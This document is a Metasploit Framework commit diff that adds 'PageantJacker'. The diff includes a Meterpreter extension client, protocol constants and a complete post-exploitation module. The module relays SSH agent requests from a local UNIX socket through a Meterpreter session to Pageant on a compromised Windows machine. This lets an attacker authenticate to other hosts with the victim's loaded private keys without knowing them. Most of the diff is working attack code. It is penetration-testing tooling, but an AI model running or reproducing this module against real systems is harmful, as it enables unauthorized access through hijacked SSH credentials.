Land #5380, pageantjacker, an SSH agent proxy

bug/bundler_fix
Brent Cook 2015-09-26 10:52:44 -04:00
commit f3451eef75
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
11 changed files with 193 additions and 8 deletions

View File

@ -10,7 +10,7 @@ PATH
metasm (~> 1.0.2)
metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.13)
metasploit-payloads (= 1.0.14)
msgpack
nokogiri
packetfu (= 1.1.11)
@ -125,7 +125,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.13)
metasploit-payloads (1.0.14)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)

View File

@ -6,6 +6,7 @@ require 'rex/post/meterpreter/extensions/extapi/service/service'
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
require 'rex/post/meterpreter/extensions/extapi/pageant/pageant'
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
module Rex
@ -36,6 +37,7 @@ class Extapi < Extension
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client),
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
})
},

View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Extapi
module Pageant
###
# PageantJacker extension - Hijack and interact with Pageant
#
# Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
#
###
class Pageant
def initialize(client)
@client = client
end
def forward(blob, size)
return nil unless size > 0 && blob.size > 0
packet_request = Packet.create_request('extapi_pageant_send_query')
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)
response = client.send_request(packet_request)
return nil unless response
{
success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
}
end
attr_accessor :client
end
end
end
end
end
end
end

View File

@ -75,6 +75,12 @@ TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_E
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85)
TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86)
TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87)
TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88)
TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89)
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)

View File

@ -63,7 +63,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.13'
spec.add_runtime_dependency 'metasploit-payloads', '1.0.14'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = 1105970
CachedSize = 1106482
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = 1107014
CachedSize = 1107526
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = 1107014
CachedSize = 1107526
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = 1105970
CachedSize = 1106482
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = 1105970
CachedSize = 1106482
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -0,0 +1,133 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'tmpdir'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => 'Forward SSH Agent Requests To Remote Pageant',
'Description' => %q{
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
If a target Windows machine is compromised and is running Pageant, this will allow the
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
tunnelled through the meterpreter session. This could therefore be used to authenticate
with a remote host using a private key which is loaded into a remote user's Pageant instance,
without ever having knowledge of the private key itself.
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
loaded into the remote meterpreter session by this module if it is not already loaded.
},
'License' => MSF_LICENSE,
'Author' => [
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
'Ben Campbell', # A HUGE amount of support in this :-)
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
], self.class)
end
def setup
unless session.extapi
vprint_status("Loading extapi extension...")
begin
session.core.use("extapi")
rescue Errno::ENOENT
print_error("This module is only available in a windows meterpreter session.")
return
end
end
end
def run
# Check to ensure that UNIX sockets are supported
begin
::UNIXServer
rescue NameError
print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
return false
end
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
if datastore['SocketPath']
@sockpath = datastore['SocketPath'].to_s
else
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
end
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
if ::File.exist?(@sockpath)
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
return false
end
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
::UNIXServer.open(@sockpath) do |serv|
print_status("Launched listening socket on #{@sockpath}")
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
print_status("Now use any tool normally (e.g. ssh-add)")
loop do
s = serv.accept
loop do
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
if response[:success]
begin
s.send response[:blob], 0
rescue
break
end
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
else
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
end
end
end
end
end
def cleanup
# Remove the socket that we created, if it still exists
::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath
end
def translate_error(errnum)
errstring = "#{errnum}: "
case errnum
when 0
errstring += "No error"
when 1
errstring += "The Pageant request was not processed."
when 2
errstring += "Unable to obtain IPC memory address."
when 3
errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
when 4
errstring += "Unable to allocate memory buffer."
when 5
errstring += "Unable to build Pageant request string."
when 6
errstring += "Pageant not found."
when 7
errstring += "Not forwarded."
else
errstring += "Unknown."
end
errstring
end
end